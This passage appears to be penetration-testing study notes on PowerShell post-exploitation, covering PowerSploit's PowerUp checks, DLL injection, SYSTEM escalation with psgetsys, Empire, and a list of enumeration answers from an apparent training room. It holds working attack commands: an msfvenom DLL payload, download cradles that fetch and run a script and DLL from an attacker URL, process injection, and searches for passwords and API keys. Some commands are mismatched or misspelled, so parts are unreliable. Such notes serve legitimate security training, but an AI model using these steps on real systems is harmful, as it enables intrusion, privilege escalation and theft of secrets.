PowerUp has plenty of options to explore. We can run any of those functions or scripts independently, but this module includes an Invoke-AllChecks function that will run all functions related to the Privesc module looking for misconfigurations, permissions issues with services, opportunities for DLL hijacking and a number of other useful checks.

We can invoke it on the target after we've imported the Privesc.psm1 module with all the Invoke-AllChecks command:

PS C:\Modules\PowerSploit\Privesc> Invoke-AllChecks

The output will also indicate an "AbuseFunction" we can use to further exploit the target.

PowerUp also gives us the option to save all results to an HTML file with the -HTMLReport flag and will generate an HTML file we can use to investigate any paths to privilege escalation. The file will be saved in the current directory.

PS C:\> Invoke-AllChecks -HTMLReport

PowerSploit - DLL Injection

The "CodeInjection" category in PowerSploit gives us some options in regards to several methods we can inject our own code into existing processes on the target system, whether it be via DLL injection, injecting our own custom ShellCode into an existing process or using WMI to execute commands on the target.

Invoke-DLLInjection script is commonly used, injecting an attacker-defined DLL into any existing process ID on the target system.

The first requirement will be generating a DLL. This can be done in a number of ways, but most commonly we can just use Metasploit's msfvenom to generate one with the following command:

msvenom -p windows/exec CMD="cmd.exe" -f dll > cmd.dll

This will execute a cmd.exe prompt on the target when injected. You can also create a DLL that will spawn a meterpreter reverse shell for instance.

The DLL will need to be downloaded to the target. This can be done in any number of ways, but we can use the Net.WebClient "DownloadFile" download cradle method for that:

PS C:\> iex (New-Object Net.Webclient).DownloadFile('http://attacker_url/cmd.dll', 'C:\programdata\cmd.dll')

We should next identify a process on the target system we'd like to inject our DLL into. We can simply run the ps command from the PowerShell console.

We'll run the ps command with a Where-Object statement to look for a process that matches notepad and we'll inject our DLL into that process.

PS C:\> ps | ? {$_.ProcessName -match "notepad"}

Once we've downloaded our DLL to the target, and identified the process we're going to inject into, we can use another download cradle (this time DownloadString method) to download and execute the InvokeDLLInjection.ps1 script from our attacker system, along with the correct arguments for injecting our DLL into that existing process:

PS C:\> iex (New-Object Net.Webclient).DownloadString('http://attacker_URL/Invoke-DLLInjection.ps1'); Invoke-DLLInjection -ProcessID 7420 c:\ProgramData\cmd.dll

Once that is complete, if we run the ps command again, we can confirm that we now have a cmd process which has been spawned from our DLL injection operation, which is created in a new process thread.

A great explanation of the basics of how DLL injection works can be found here:

Psgetssystem

Another excellent PowerShell tool which allows us to get SYSTEM privileges via a parent process, which then spawns a child process which effectively inherits the SYSTEM access privileges of the parent.

Although this tool needs to be run as Administrator, it's a great way to evade application whitelisting solutions by being able to inject ourselves into an already signed or other trusted process.

Once we have downloaded the psgetsys.ps1 script to our target, we can source it and execute its class function with the following commands:

PS C:\> . .\psgetsys.ps1
PS C:\> [MyProcess]::CreateProcessFromParent(<system_pid>, "<command_to_execute>")

But before that, we need to identify some SYSTEM processes and choose one we can "piggyback" onto:

PS C:\> Get-Process -IncludeUserName | Where-Object {$_.UserName -match "SYSTEM"} | Format-List -Property Username,Name,Id

This command should return a list of all SYSTEM-owned processes along with the PIDs and process names.

Now that we have a PID for a SYSTEM-owned process, we can continue with our execution of psgetssystem. This will launch a cmd.exe prompt but as a child process of the SYSTEM-owned process (ZeroConfigService) and as a result, our "child" process will also be SYSTEM:

PS C:\> . .\psgetsys.ps1
PS C:\> [MyProcess]::CreateProcessFromParent(3632, "cmd.exe")

We can confirm this by running a tool like Process Explorer, to see that our cmd.exe process has been spawned as a child process of the ZeroConfigService process and is also SYSTEM.

In an attack scenario, we could easily launch a meterpreter executable payload as SYSTEM and get a SYSTEM shell from the target machine.

Empire

Another great post-exploitation framework. Its main advantage is that it implements PowerShell functionality without requiring the existence of PowerShell on a target machine.

It is in a world of its own in regard to other frameworks in that it utilizes its own built-in listener, agents and modules to compromise and conduct all facets of post-exploitation from information gathering to privilege escalation, lateral movement, persistence and also integrates with the MetaSploit Framework.

# Examples

# Location of the file โ€œinteresting-file.txtโ€
Get-ChildItem -Path C:\ -Include *interesting-file.txt* -File -Recurse -ErrorAction SilentlyContinue

# Contents of a file
Get-Content "C:\Program Files\interesting-file.txt.txt"

# cmdlets are installed on the system
Get-Command | Where-Object -Parameter CommandType -eq Cmdlet | measure

# Get the MD5 hash of interesting-file.txt
Get-FileHash -Path "C:\Program Files\interesting-file.txt.txt" -Algorithm MD5

# command to get the current working directory
Get-Location

# Does the path โ€œC:\Users\Administrator\Documents\Passwordsโ€ Exist(Y/N)?
Get-Location -Path "C:\Users\Administrator\Documents\Passwords"

# What command would you use to make a request to a web server?
Invoke-WebRequest

# Base64 decode the file b64.txt
Get-ChildItem -Path C:/ -Include b64.txt -Recurse -File
certutil -decode "C:\Users\Administrator\Desktop\b64.txt" decode.txt

# How many users are there on the machine?
Get-LocalUser

# Which local user does this SID(S-1โ€“5โ€“21โ€“1394777289โ€“3961777894โ€“1791813945โ€“501) belong to?
Get-LocalUser -SID "S-1-5-21-1394777289-3961777894-1791813945-501"

# How many users have their password required values set to False?
Get-LocalUser | Where-Object -Property PasswordRequired -Match false

# How many local groups exist?
Get-LocalGroup | measure

# What command did you use to get the IP address info?
Get-NetIPAddress

# How many ports are listed as listening?
Get-NetTCPConnection | Where-Object -Property State -Match Listen | measure

# What is the remote address of the local port listening on port 445?
GEt-NetTCPConnection | Where-Object -Property State -Match Listen

# How many patches have been applied?
Get-Hotfix | measure

# When was the patch with ID KB4023834 installed?
Get-Hotfix -Id KB4023834

# Find the contents of a backup file
Get-ChildItem -Path C:\ -Include *.bak* -File -Recurse -ErrorAction SilentlyContinue

# Search for all files containing API_KEY
Get-ChildItem C:\* -Recurse | Select-String -pattern API_KEY

# What command do you do to list all the running processes?
Get-ScheduleTask -TaskName new-sched-task

# Who is the owner of the C:\
Get-Acl c:/

# What file contains the password?
$path = "C:\Users\Administrator\Desktop\emails\*"
$string_pattern = "password"
$command = Get-ChildItem -Path $path -Recurse | Select-String -Pattern $String_patternecho $command

# How many open ports did you find between 130 and 140(inclusive of those two)?
for($i=130; $i -le 140; $i++){
    Test-NetConnection localhost -Port $i
}

โ–ถ๏ธ PowerShell and Metasploit

โ–ถ๏ธ Empire Overview

โ–ถ๏ธ UAC Bypass PowerShell Exploit Script Walkthrough

โ–ถ๏ธ Introduction to Leveraging WMI and Methods for Persistence

๐Ÿงช Leveraging PowerShell During Exploitation

๐Ÿงช PowerShell for Post-exploitation and Lateral Movement

Last updated